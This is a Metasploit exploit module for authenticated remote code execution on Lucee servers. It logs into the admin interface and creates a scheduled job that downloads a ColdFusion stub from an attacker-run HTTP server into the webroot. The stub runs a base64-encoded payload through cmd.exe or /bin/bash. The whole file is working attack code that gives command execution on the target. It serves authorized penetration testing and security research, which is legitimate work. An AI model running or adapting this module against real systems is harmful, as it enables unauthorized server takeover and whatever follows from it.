class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::Retry include Msf::Exploit::FileDropper require 'base64' def initialize(info = {}) super( update_info( info, 'Name' => 'Lucee Authenticated Scheduled Job Code Execution', 'Description' => %q{ This module can be used to execute a payload on Lucee servers that have an exposed administrative web interface. It's possible for an administrator to create a scheduled job that queries a remote ColdFusion file, which is then downloaded and executed when accessed. The payload is uploaded as a cfm file when queried by the target server. When executed, the payload will run as the user specified during the Lucee installation. On Windows, this is a service account; on Linux, it is either the root user or lucee. }, 'Targets' => [ [ 'Windows Command', { 'Platform' => 'win', 'Arch' => ARCH_CMD, 'Type' => :windows_cmd } ], [ 'Unix Command', { 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Type' => :unix_cmd } ] ], 'Author' => 'Alexander Philiotis', # aphiliotis@synercomm.com 'License' => MSF_LICENSE, 'References' => [ # This abuses the functionality inherent to the Lucee platform and # thus is not related to any CVEs. # Lucee Docs ['URL', 'https://docs.lucee.org/'], # cfexecute & cfscript documentation ['URL', 'https://docs.lucee.org/reference/tags/execute.html'], ['URL', 'https://docs.lucee.org/reference/tags/script.html'], ], 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [ # /opt/lucee/server/lucee-server/context/logs/application.log # /opt/lucee/web/logs/exception.log IOC_IN_LOGS, ARTIFACTS_ON_DISK, # ColdFusion files located at the webroot of the Lucee server # C:/lucee/tomcat/webapps/ROOT/ by default on Windows # /opt/lucee/tomcat/webapps/ROOT/ by default on Linux ] }, 'Stance' => Msf::Exploit::Stance::Aggressive, 'DisclosureDate' => '2023-02-10' ) ) register_options( [ Opt::RPORT(8888), OptString.new('PASSWORD', [false, 'The password for the administrative interface']), OptString.new('TARGETURI', [true, 'The path to the admin interface.', '/lucee/admin/web.cfm']), OptInt.new('PAYLOAD_DEPLOY_TIMEOUT', [false, 'Time in seconds to wait for access to the payload', 20]), ] ) deregister_options('URIPATH') end def exploit payload_base = rand_text_alphanumeric(8..16) authenticate start_service({ 'Uri' => { 'Proc' => proc do |cli, req| print_status("Payload request received for #{req.uri} from #{cli.peerhost}") send_response(cli, cfm_stub) end, 'Path' => '/' + payload_base + '.cfm' } }) # # Create the scheduled job # create_job(payload_base) # # Execute the scheduled job and attempt to send a GET request to it. # execute_job(payload_base) print_good('Exploit completed.') # # Removes the scheduled job # print_status('Removing scheduled job ' + payload_base) cleanup_request = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path), 'vars_get' => { 'action' => 'services.schedule' }, 'vars_post' => { 'row_1' => '1', 'name_1' => payload_base.to_s, 'mainAction' => 'delete' } }) if cleanup_request && cleanup_request.code == 302 print_good('Scheduled job removed.') else print_bad('Failed to remove scheduled job.') end end def authenticate auth = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path), 'keep_cookies' => true, 'vars_post' => { 'login_passwordweb' => datastore['PASSWORD'], 'lang' => 'en', 'rememberMe' => 's', 'submit' => 'submit' } }) unless auth fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") end unless auth.code == 200 && auth.body.include?('nav_Security') fail_with(Failure::NoAccess, 'Unable to authenticate. Please double check your credentials and try again.') end print_good('Authenticated successfully') end def create_job(payload_base) create_job = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path), 'keep_cookies' => true, 'vars_get' => { 'action' => 'services.schedule', 'action2' => 'create' }, 'vars_post' => { 'name' => payload_base, 'url' => get_uri.to_s, 'interval' => '3600', 'start_day' => '01', 'start_month' => '02', 'start_year' => '2023', 'start_hour' => '00', 'start_minute' => '00', 'start_second' => '00', 'run' => 'create' } }) fail_with(Failure::Unreachable, 'Could not connect to the web service') if create_job.nil? fail_with(Failure::UnexpectedReply, 'Unable to create job') unless create_job.code == 302 print_good('Job ' + payload_base + ' created successfully') job_file_path = file_path = webroot fail_with(Failure::UnexpectedReply, 'Could not identify the web root') if job_file_path.blank? case target['Type'] when :unix_cmd file_path << '/' job_file_path = "#{job_file_path.gsub('/', '//')}//" when :windows_cmd file_path << '\\' job_file_path = "#{job_file_path.gsub('\\', '\\\\')}\\" end update_job = send_request_cgi({ 'method' => 'POST', 'uri' => target_uri.path, 'keep_cookies' => true, 'vars_get' => { 'action' => 'services.schedule', 'action2' => 'edit', 'task' => create_job.headers['location'].split('=')[-1] }, 'vars_post' => { 'name' => payload_base, 'url' => get_uri.to_s, 'port' => datastore['SRVPORT'], 'timeout' => '50', 'username' => '', 'password' => '', 'proxyserver' => '', 'proxyport' => '', 'proxyuser' => '', 'proxypassword' => '', 'publish' => 'true', 'file' => "#{job_file_path}#{payload_base}.cfm", 'start_day' => '01', 'start_month' => '02', 'start_year' => '2023', 'start_hour' => '00', 'start_minute' => '00', 'start_second' => '00', 'end_day' => '', 'end_month' => '', 'end_year' => '', 'end_hour' => '', 'end_minute' => '', 'end_second' => '', 'interval_hour' => '1', 'interval_minute' => '0', 'interval_second' => '0', 'run' => 'update' } }) fail_with(Failure::Unreachable, 'Could not connect to the web service') if update_job.nil? fail_with(Failure::UnexpectedReply, 'Unable to update job') unless update_job.code == 302 || update_job.code == 200 register_files_for_cleanup("#{file_path}#{payload_base}.cfm") print_good('Job ' + payload_base + ' updated successfully') end def execute_job(payload_base) print_status("Executing scheduled job: #{payload_base}") job_execution = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path), 'vars_get' => { 'action' => 'services.schedule' }, 'vars_post' => { 'row_1' => '1', 'name_1' => payload_base, 'mainAction' => 'execute' } }) fail_with(Failure::Unreachable, 'Could not connect to the web service') if job_execution.nil? fail_with(Failure::Unknown, 'Unable to execute job') unless job_execution.code == 302 || job_execution.code == 200 print_good('Job ' + payload_base + ' executed successfully') payload_response = nil retry_until_truthy(timeout: datastore['PAYLOAD_DEPLOY_TIMEOUT']) do print_status('Attempting to access payload...') payload_response = send_request_cgi( 'uri' => '/' + payload_base + '.cfm', 'method' => 'GET' ) payload_response.nil? || (payload_response && payload_response.code == 200 && payload_response.body.exclude?('Error')) || (payload_response.code == 500) end # Unix systems tend to return a 500 response code when executing a shell. Windows tends to return a nil response, hence the check for both. fail_with(Failure::Unknown, 'Unable to execute payload') unless payload_response.nil? || payload_response.code == 200 || payload_response.code == 500 if payload_response.nil? print_status('No response from ' + payload_base + '.cfm' + (session_created? ? '' : ' Check your listener!')) elsif payload_response.code == 200 print_good('Received 200 response from ' + payload_base + '.cfm') output = payload_response.body.strip if output.include?("\n") print_good('Output:') print_line(output) elsif output.present? print_good('Output: ' + output) end elsif payload_response.code == 500 print_status('Received 500 response from ' + payload_base + '.cfm' + (session_created? ? '' : ' Check your listener!')) end end def webroot res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path) }) return nil unless res res.get_html_document.at('[text()*="Webroot"]')&.next&.next&.text end def cfm_stub case target['Type'] when :windows_cmd <<~CFM.gsub(/^\s+/, '').tr("\n", '') cfexecute(name="cmd.exe", arguments="/c " & toString(binaryDecode("#{Base64.strict_encode64(payload.encoded)}", "base64")),timeout=5); CFM when :unix_cmd <<~CFM.gsub(/^\s+/, '').tr("\n", '') cfexecute(name="/bin/bash", arguments=["-c", toString(binaryDecode("#{Base64.strict_encode64(payload.encoded)}", "base64"))],timeout=5); CFM end end end